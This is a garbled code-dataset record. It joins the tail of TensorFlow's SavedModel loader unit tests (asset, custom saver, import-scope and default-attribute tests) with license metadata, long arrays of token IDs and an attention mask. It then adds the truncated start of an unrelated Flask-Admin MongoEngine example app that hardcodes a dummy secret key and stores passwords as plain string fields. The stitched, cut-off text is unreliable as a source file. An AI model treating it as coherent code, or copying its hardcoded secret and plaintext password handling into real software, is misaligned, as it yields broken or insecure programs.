42) # Build an asset collection specific to `bar` graph. asset_collection = self._build_asset_collection("bar.txt", "content_bar", "asset_file_tensor") # Add the asset collection as part of the graph with tag "bar". builder.add_meta_graph(["bar"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() # Check assets restored for graph with tag "foo". with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "foo.txt", "content_foo", "asset_file_tensor:0") # Check assets restored for graph with tag "bar". with self.test_session(graph=ops.Graph()) as sess: bar_graph = loader.load(sess, ["bar"], export_dir) self._validate_asset_collection(export_dir, bar_graph.collection_def, "bar.txt", "content_bar", "asset_file_tensor:0") def testDuplicateAssets(self): export_dir = self._get_export_dir("test_duplicate_assets") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) # Build an asset collection with `foo.txt` that has `foo` specific # content. asset_collection = self._build_asset_collection("foo.txt", "content_foo", "asset_file_tensor") # Add the asset collection as part of the graph with tag "foo". builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) # Build an asset collection with `foo.txt` that has `bar` specific # content. asset_collection = self._build_asset_collection("foo.txt", "content_bar", "asset_file_tensor") # Add the asset collection as part of the graph with tag "bar". builder.add_meta_graph(["bar"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() # Check assets restored for graph with tag "foo". with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "foo.txt", "content_foo", "asset_file_tensor:0") # Check assets restored for graph with tag "bar". with self.test_session(graph=ops.Graph()) as sess: bar_graph = loader.load(sess, ["bar"], export_dir) # Validate the assets for `bar` graph. `foo.txt` should contain the # original contents corresponding to `foo` graph since an asset with the # same name across multiple graphs is only stored the first time self._validate_asset_collection(export_dir, bar_graph.collection_def, "foo.txt", "content_foo", "asset_file_tensor:0") def testOp(self): export_dir = self._get_export_dir("test_op") builder = saved_model_builder.SavedModelBuilder(export_dir) with session.Session( graph=ops.Graph(), config=config_pb2.ConfigProto(device_count={"CPU": 2})) as sess: with sess.graph.device("/cpu:0"): v1 = variables.Variable(1, name="v1") with sess.graph.device("/cpu:1"): v2 = variables.Variable(2, name="v2") # v3 is an unsaved variable derived from v1 and v2. It is used to # exercise the ability to run an init op when restoring a graph. v3 = variables.Variable(1, name="v3", trainable=False, collections=[]) assign_v3 = state_ops.assign(v3, math_ops.add(v1, v2)) init_op = control_flow_ops.group(assign_v3, name="init_op") ops.add_to_collection("v", v1) ops.add_to_collection("v", v2) ops.add_to_collection("v", v3) ops.add_to_collection("init_op", init_op) sess.run(variables.global_variables_initializer()) self.assertEqual(1, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk. builder.save() with session.Session( graph=ops.Graph(), config=config_pb2.ConfigProto(device_count={"CPU": 2})) as sess: loader.load(sess, ["foo"], export_dir) # Validate variables, run the init op and verify result. self.assertEqual(1, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) ops.get_collection("init_op")[0].run() self.assertEqual(3, ops.get_collection("v")[2].eval()) def testCustomSaveable(self): export_dir = self._get_export_dir("custom_saveable") builder = saved_model_builder.SavedModelBuilder(export_dir) with session.Session( graph=ops.Graph(), config=config_pb2.ConfigProto(device_count={"CPU": 2})) as sess: # CheckpointedOp is a key-value table that can be saved across sessions. # The table register itself in SAVEABLE_OBJECTS collection. v1 = saver_test_utils.CheckpointedOp(name="v1") variables.global_variables_initializer().run() v1.insert("k1", 3.0).run() # Once the table is restored, we can access it through this reference. ops.add_to_collection("table_ref", v1.table_ref) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk. builder.save() with session.Session( graph=ops.Graph(), config=config_pb2.ConfigProto(device_count={"CPU": 2})) as sess: loader.load(sess, ["foo"], export_dir) # Instantiate a wrapper object from the checkpointed reference. v1 = saver_test_utils.CheckpointedOp( name="v1", table_ref=ops.get_collection("table_ref")[0]) self.assertEqual(b"k1", v1.keys().eval()) self.assertEqual(3.0, v1.values().eval()) def testCustomSaver(self): export_dir = self._get_export_dir("test_custom_saver") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: variables.Variable(1, name="v1") sess.run(variables.global_variables_initializer()) custom_saver = training.Saver(name="my_saver") builder.add_meta_graph_and_variables(sess, ["tag"], saver=custom_saver) # Save the SavedModel to disk. builder.save() with ops.Graph().as_default() as graph: with self.test_session(graph=graph) as sess: saved_graph = loader.load(sess, ["tag"], export_dir) graph_ops = [x.name for x in graph.get_operations()] self.assertTrue("my_saver/restore_all" in graph_ops) self.assertFalse("save/restore_all" in graph_ops) self.assertEqual( saved_graph.saver_def.restore_op_name, "my_saver/restore_all") def testNoCustomSaver(self): export_dir = self._get_export_dir("test_no_custom_saver") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: variables.Variable(1, name="v1") sess.run(variables.global_variables_initializer()) training.Saver(name="my_saver") builder.add_meta_graph_and_variables(sess, ["tag"]) # Save the SavedModel to disk. builder.save() with ops.Graph().as_default() as graph: with self.test_session(graph=graph) as sess: saved_graph = loader.load(sess, ["tag"], export_dir) graph_ops = [x.name for x in graph.get_operations()] self.assertTrue("my_saver/restore_all" in graph_ops) self.assertTrue("save/restore_all" in graph_ops) self.assertEqual( saved_graph.saver_def.restore_op_name, "save/restore_all") def testMultipleCustomSavers(self): export_dir = self._get_export_dir("test_multiple_custom_savers") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: variables.Variable(1, name="v1") sess.run(variables.global_variables_initializer()) builder.add_meta_graph_and_variables(sess, ["tag_0"]) saver_1 = training.Saver() builder.add_meta_graph(["tag_1"], saver=saver_1) saver_2 = training.Saver() builder.add_meta_graph(["tag_2"], saver=saver_2) # Save the SavedModel to disk. builder.save() def _validate_custom_saver(tag_name, saver_name): with ops.Graph().as_default() as graph: with self.test_session(graph=graph) as sess: saved_graph = loader.load(sess, [tag_name], export_dir) self.assertEqual( saved_graph.saver_def.restore_op_name, saver_name) _validate_custom_saver("tag_0", "save/restore_all") _validate_custom_saver("tag_1", "save_1/restore_all") _validate_custom_saver("tag_2", "save_2/restore_all") def testImportScope(self): export_dir = self._get_export_dir("test_scoped_assets") builder = saved_model_builder.SavedModelBuilder(export_dir) # Build a SavedModel with a variable, an asset, and a constant tensor. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) asset_collection = self._build_asset_collection("foo.txt", "content_foo", "asset_file_tensor") constant_op.constant("constant value", name="constant_tensor_name") builder.add_meta_graph_and_variables( sess, ["tag_name"], assets_collection=asset_collection) # Save the asset file path for later comparison. asset_file_path = asset_collection[0].eval() # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: # Restore the SavedModel under an import_scope in a new graph/session. graph_proto = loader.load( sess, ["tag_name"], export_dir, import_scope="scope_name") # The loaded variable tensor should be scoped, but its contents should be # unchanged. self.assertEqual( "scope_name/v:0", ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].name) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # The loaded asset tensor should be scoped, but the asset file path and # contents should be unchanged. asset_collection = ops.get_collection(ops.GraphKeys.ASSET_FILEPATHS) self.assertEqual(1, len(asset_collection)) self.assertEqual(asset_file_path, asset_collection[0].eval()) self.assertEqual("scope_name/asset_file_tensor:0", asset_collection[0].name) # The static asset data inside graph_proto.collection_def should not be # scoped. self._validate_asset_collection(export_dir, graph_proto.collection_def, "foo.txt", "content_foo", "asset_file_tensor:0") # The constant tensor should be scoped, but its contents should be # unchanged. self.assertEqual( compat.as_bytes("constant value"), ops.get_default_graph().get_tensor_by_name( "scope_name/constant_tensor_name:0").eval()) def testClearDevices(self): export_dir = self._get_export_dir("test_clear_devices") builder = saved_model_builder.SavedModelBuilder(export_dir) # Specify a device and save a variable. ops.reset_default_graph() with session.Session( target="", config=config_pb2.ConfigProto(device_count={"CPU": 2})) as sess: with sess.graph.device("/cpu:0"): self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables( sess, [tag_constants.TRAINING], clear_devices=True) # Save the SavedModel to disk. builder.save() # Restore the graph with a single predefined tag whose variables were saved # without any device information. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, [tag_constants.TRAINING], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) def testStripDefaultAttrs(self): export_dir = self._get_export_dir("test_strip_default_attrs") builder = saved_model_builder.SavedModelBuilder(export_dir) # Add a graph with two float32 variables and a Complex Op composing them # with strip_default_attrs enabled. with session.Session(graph=ops.Graph()) as sess: real_num = variables.Variable(1.0, dtype=dtypes.float32, name="real") imag_num = variables.Variable(2.0, dtype=dtypes.float32, name="imag") math_ops.complex(real_num, imag_num, name="complex") sess.run(variables.global_variables_initializer()) builder.add_meta_graph_and_variables( sess, ["foo"], strip_default_attrs=True) # Add a graph with the same float32 variables and a Complex Op composing # them with strip_default_attrs disabled. with session.Session(graph=ops.Graph()) as sess: real_num = variables.Variable(1.0, dtype=dtypes.float32, name="real") imag_num = variables.Variable(2.0, dtype=dtypes.float32, name="imag") math_ops.complex(real_num, imag_num, name="complex") sess.run(variables.global_variables_initializer()) builder.add_meta_graph(["bar"], strip_default_attrs=False) # Save the SavedModel to disk in text format. builder.save(as_text=True) # Loading graph "foo" via the loader must restore the defaults for the # "Complex" node based on the "Complex" OpDef in the Op registry. sess = session.Session(graph=ops.Graph()) meta_graph_def = loader.load(sess, ["foo"], export_dir) complex_node = test_util.get_node_def_from_graph("complex", meta_graph_def.graph_def) self.assertIn("T", complex_node.attr) self.assertIn("Tout", complex_node.attr) # Load graph "foo" from disk as-is to verify default attrs are stripped. # pylint: disable=protected-access saved_model_pb = loader_impl._parse_saved_model(export_dir) self.assertIsNotNone(saved_model_pb) # pylint: enable=protected-access meta_graph_foo_def = None meta_graph_bar_def = None for meta_graph_def in saved_model_pb.meta_graphs: if set(meta_graph_def.meta_info_def.tags) == set(["foo"]): meta_graph_foo_def = meta_graph_def elif set(meta_graph_def.meta_info_def.tags) == set(["bar"]): meta_graph_bar_def = meta_graph_def self.assertIsNotNone(meta_graph_foo_def) self.assertIsNotNone(meta_graph_bar_def) # "Complex" Op has 2 attributes with defaults: # o "T" : float32. (input type) # o "Tout" : complex64. (output type) # "Complex" Op in graph "foo" shouldn't have attributes "T" and "Tout". # Graph "foo" was saved with strip_default_attrs set to True. node_def = test_util.get_node_def_from_graph("complex", meta_graph_foo_def.graph_def) self.assertNotIn("T", node_def.attr) self.assertNotIn("Tout", node_def.attr) # "Complex" Op in graph "bar" must have attributes "T" and "Tout". # Graph "bar" was saved with strip_default_attrs set to False. node_def = test_util.get_node_def_from_graph("complex", meta_graph_bar_def.graph_def) self.assertIn("T", node_def.attr) self.assertIn("Tout", node_def.attr) # Tests the behavior of loading SavedModels that having missing attrs or attrs # with incorrect types. def testInconsistentConsumerDefaultAttrs(self): export_dir = self._get_export_dir( "test_strip_default_attrs_no_consumer_defaults") builder = saved_model_builder.SavedModelBuilder(export_dir) # Add a graph with a single variable and a test op with a defaultless # float32 attr, "test_attr". with session.Session(graph=ops.Graph()) as sess: variables.Variable(1.0, dtype=dtypes.float64, name="var") test_ops.test_attr(T=dtypes.float32, name="test_attr") sess.run(variables.global_variables_initializer()) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk in text format. builder.save(as_text=True) # Rewrite the SavedModel to remove the T attr from "test_attr". saved_model_file = os.path.join( export_dir, constants.SAVED_MODEL_FILENAME_PBTXT) with open(saved_model_file) as f: original_saved_model = f.read() no_attr_saved_model = original_saved_model.replace(""" attr { key: "T" value { type: DT_FLOAT } }""", "") with open(saved_model_file, "w") as f: f.write(no_attr_saved_model) # Loading the SavedModel via the loader must fail because the SavedModel # does not have any attr values for the "TestAttr" node, and there is no # default specified in the TestAttr OpDef. sess = session.Session(graph=ops.Graph()) with self.assertRaisesRegexp( ValueError, "NodeDef missing attr 'T' from Op<name=TestAttr"): loader.load(sess, ["foo"], export_dir) # Rewrite the SavedModel to change the type of the T attr in "test_attr" bad_type_saved_model = original_saved_model.replace(""" attr { key: "T" value { type: DT_FLOAT } }""", """ attr { key: "T" value { type: DT_DOUBLE } }""") with open(saved_model_file, "w") as f: f.write(bad_type_saved_model) # Loading the SavedModel via the loader must fail because there is no # OpKernel registered to handle T = double. sess = session.Session(graph=ops.Graph()) with self.assertRaisesRegexp( errors.InvalidArgumentError, ".*No OpKernel was registered to support Op \'TestAttr\' with these " "attrs..*"): loader.load(sess, ["foo"], export_dir) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 29026, 1685, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 504, 3228, 14, 1018, 14, 4857, 492, 2943, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 3404, 63, 2180, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1483, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 773, 14, 2308, 492, 570, 63, 2308, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3304, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1174, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 6545, 465, 6290, 63, 1238, 63, 5649, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5262, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5077, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5077, 63, 5472, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 2446, 63, 411, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 4955, 63, 318, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 1947, 63, 5559, 199, 504, 3228, 14, 1548, 14, 7588, 492, 17559, 63, 396, 63, 1208, 199, 504, 3228, 14, 1548, 14, 7588, 492, 6093, 199, 504, 3228, 14, 1548, 14, 1974, 492, 8434, 199, 199, 4251, 14112, 63, 11429, 63, 3243, 275, 1689, 2055, 15, 8420, 63, 1238, 15, 18481, 15, 10220, 63, 6666, 63, 5601, 15, 19983, 1789, 531, 421, 199, 318, 6766, 2377, 837, 523, 570, 63, 2308, 14, 1807, 63, 6794, 9840, 8, 396, 14, 362, 63, 808, 63, 694, 1012, 421, 199, 533, 29026, 1685, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 362, 63, 3790, 63, 694, 8, 277, 12, 1768, 304, 272, 372, 747, 14, 515, 14, 904, 8, 396, 14, 362, 63, 808, 63, 694, 1062, 1768, 9, 819, 347, 485, 826, 63, 460, 63, 3502, 63, 1975, 8, 277, 12, 4043, 12, 1750, 63, 354, 12, 1750, 63, 585, 304, 272, 373, 275, 2860, 14, 2773, 8, 1975, 63, 585, 12, 536, 29, 1975, 63, 354, 9, 272, 4043, 14, 1065, 8, 3669, 14, 2966, 63, 3669, 63, 6498, 1012, 272, 291, 14, 629, 8, 1975, 63, 585, 12, 373, 14, 2579, 1012, 819, 347, 485, 1506, 63, 6562, 63, 3627, 8, 277, 12, 8977, 63, 493, 63, 354, 12, 8977, 63, 493, 63, 4407, 12, 2892, 8977, 63, 493, 63, 3128, 63, 354, 12, 8977, 63, 10622, 17364, 272, 1676, 63, 694, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 396, 14, 362, 63, 808, 63, 694, 4000, 8434, 14, 305, 63, 2394, 8, 6562, 63, 10622, 430, 272, 570, 63, 2308, 14, 9931, 63, 981, 63, 694, 8, 1708, 63, 694, 9, 272, 8977, 63, 7218, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 1708, 63, 694, 395, 8434, 14, 305, 63, 2394, 8, 6562, 63, 493, 63, 354, 430, 272, 570, 63, 2308, 14, 952, 63, 875, 63, 475, 63, 493, 8, 6562, 63, 7218, 12, 8977, 63, 493, 63, 4407, 9, 272, 8977, 63, 493, 63, 3128, 275, 4413, 63, 411, 14, 4083, 8, 267, 8977, 63, 7218, 12, 536, 29, 6562, 63, 493, 63, 3128, 63, 354, 9, 272, 4156, 14, 525, 63, 475, 63, 3627, 8, 1483, 14, 19713, 14, 1179, 3597, 63, 3817, 20202, 12, 8977, 63, 493, 63, 3128, 9, 272, 8977, 63, 3627, 275, 4156, 14, 362, 63, 3627, 8, 1483, 14, 19713, 14, 1179, 3597, 63, 3817, 20202, 9, 272, 372, 8977, 63, 3627, 819, 347, 485, 3502, 63, 6562, 63, 3627, 8, 277, 12, 4843, 63, 694, 12, 3343, 63, 3627, 63, 318, 12, 639, 1420, 63, 6562, 63, 493, 63, 354, 12, 639, 1420, 63, 6562, 63, 493, 63, 4407, 12, 639, 1420, 63, 6562, 63, 3128, 63, 354, 12, 639, 8977, 63, 344, 29, 16, 304, 272, 17202, 63, 1629, 275, 3343, 63, 3627, 63, 318, 59, 5559, 14, 1179, 3597, 51, 63, 3078, 1055, 1629, 63, 513, 14, 585, 272, 8977, 275, 3404, 63, 2180, 63, 3317, 18, 14, 19979, 1173, 6172, 342, 272, 17202, 63, 1629, 59, 6562, 63, 344, 1055, 26472, 8, 6562, 9, 272, 17202, 63, 515, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 3790, 63, 694, 395, 267, 8434, 14, 305, 63, 2394, 8, 5559, 14, 1179, 3597, 51, 63, 16436, 395, 267, 8434, 14, 305, 63, 2394, 8, 2062, 63, 6562, 63, 493, 63, 354, 430, 272, 3503, 63, 6562 ]
[ 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 29026, 1685, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 504, 3228, 14, 1018, 14, 4857, 492, 2943, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 1101, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 7204, 492, 3404, 63, 2180, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 1258, 492, 2351, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1483, 199, 504, 3228, 14, 1548, 14, 4857, 492, 511, 63, 1974, 199, 504, 3228, 14, 1548, 14, 773, 14, 2308, 492, 570, 63, 2308, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3304, 63, 1659, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1174, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 6545, 465, 6290, 63, 1238, 63, 5649, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5262, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5077, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 5077, 63, 5472, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 2446, 63, 411, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 4955, 63, 318, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8420, 63, 1238, 492, 1947, 63, 5559, 199, 504, 3228, 14, 1548, 14, 7588, 492, 17559, 63, 396, 63, 1208, 199, 504, 3228, 14, 1548, 14, 7588, 492, 6093, 199, 504, 3228, 14, 1548, 14, 1974, 492, 8434, 199, 199, 4251, 14112, 63, 11429, 63, 3243, 275, 1689, 2055, 15, 8420, 63, 1238, 15, 18481, 15, 10220, 63, 6666, 63, 5601, 15, 19983, 1789, 531, 421, 199, 318, 6766, 2377, 837, 523, 570, 63, 2308, 14, 1807, 63, 6794, 9840, 8, 396, 14, 362, 63, 808, 63, 694, 1012, 421, 199, 533, 29026, 1685, 774, 8, 396, 14, 1746, 304, 819, 347, 485, 362, 63, 3790, 63, 694, 8, 277, 12, 1768, 304, 272, 372, 747, 14, 515, 14, 904, 8, 396, 14, 362, 63, 808, 63, 694, 1062, 1768, 9, 819, 347, 485, 826, 63, 460, 63, 3502, 63, 1975, 8, 277, 12, 4043, 12, 1750, 63, 354, 12, 1750, 63, 585, 304, 272, 373, 275, 2860, 14, 2773, 8, 1975, 63, 585, 12, 536, 29, 1975, 63, 354, 9, 272, 4043, 14, 1065, 8, 3669, 14, 2966, 63, 3669, 63, 6498, 1012, 272, 291, 14, 629, 8, 1975, 63, 585, 12, 373, 14, 2579, 1012, 819, 347, 485, 1506, 63, 6562, 63, 3627, 8, 277, 12, 8977, 63, 493, 63, 354, 12, 8977, 63, 493, 63, 4407, 12, 2892, 8977, 63, 493, 63, 3128, 63, 354, 12, 8977, 63, 10622, 17364, 272, 1676, 63, 694, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 396, 14, 362, 63, 808, 63, 694, 4000, 8434, 14, 305, 63, 2394, 8, 6562, 63, 10622, 430, 272, 570, 63, 2308, 14, 9931, 63, 981, 63, 694, 8, 1708, 63, 694, 9, 272, 8977, 63, 7218, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 1708, 63, 694, 395, 8434, 14, 305, 63, 2394, 8, 6562, 63, 493, 63, 354, 430, 272, 570, 63, 2308, 14, 952, 63, 875, 63, 475, 63, 493, 8, 6562, 63, 7218, 12, 8977, 63, 493, 63, 4407, 9, 272, 8977, 63, 493, 63, 3128, 275, 4413, 63, 411, 14, 4083, 8, 267, 8977, 63, 7218, 12, 536, 29, 6562, 63, 493, 63, 3128, 63, 354, 9, 272, 4156, 14, 525, 63, 475, 63, 3627, 8, 1483, 14, 19713, 14, 1179, 3597, 63, 3817, 20202, 12, 8977, 63, 493, 63, 3128, 9, 272, 8977, 63, 3627, 275, 4156, 14, 362, 63, 3627, 8, 1483, 14, 19713, 14, 1179, 3597, 63, 3817, 20202, 9, 272, 372, 8977, 63, 3627, 819, 347, 485, 3502, 63, 6562, 63, 3627, 8, 277, 12, 4843, 63, 694, 12, 3343, 63, 3627, 63, 318, 12, 639, 1420, 63, 6562, 63, 493, 63, 354, 12, 639, 1420, 63, 6562, 63, 493, 63, 4407, 12, 639, 1420, 63, 6562, 63, 3128, 63, 354, 12, 639, 8977, 63, 344, 29, 16, 304, 272, 17202, 63, 1629, 275, 3343, 63, 3627, 63, 318, 59, 5559, 14, 1179, 3597, 51, 63, 3078, 1055, 1629, 63, 513, 14, 585, 272, 8977, 275, 3404, 63, 2180, 63, 3317, 18, 14, 19979, 1173, 6172, 342, 272, 17202, 63, 1629, 59, 6562, 63, 344, 1055, 26472, 8, 6562, 9, 272, 17202, 63, 515, 275, 747, 14, 515, 14, 904, 8, 267, 8434, 14, 305, 63, 2394, 8, 3790, 63, 694, 395, 267, 8434, 14, 305, 63, 2394, 8, 5559, 14, 1179, 3597, 51, 63, 16436, 395, 267, 8434, 14, 305, 63, 2394, 8, 2062, 63, 6562, 63, 493, 63, 354, 430, 272, 3503, 63, 6562, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
LennartP/flask-admin
examples/mongoengine/app.py
37
3126
import datetime from flask import Flask import flask_admin as admin from flask_mongoengine import MongoEngine from flask_admin.form import rules from flask_admin.contrib.mongoengine import ModelView # Create application app = Flask(__name__) # Create dummy secrey key so we can use sessions app.config['SECRET_KEY'] = '123456790' app.config['MONGODB_SETTINGS'] = {'DB': 'testing'} # Create models db = MongoEngine() db.init_app(app) # Define mongoengine documents class User(db.Document): name = db.StringField(max_length=40) tags = db.ListField(db.ReferenceField('Tag')) password = db.StringField(max_length=40) def __unicode__(self): return self.name class Todo(db.Document): title = db.StringField(max_length=60) text = db.StringField() done = db.BooleanField(default=False) pub_date = db.DateTimeField(default=datetime.datetime.now) user = db.ReferenceField(User, required=False) # Required for administrative interface def __unicode__(self): return self.title class Tag(db.Document): name = db.StringField(max_length=10) def __unicode__(self): return self.name class Comment(db.EmbeddedDocument): name = db.StringField(max_length=20, required=True) value = db.StringField(max_length=20) tag = 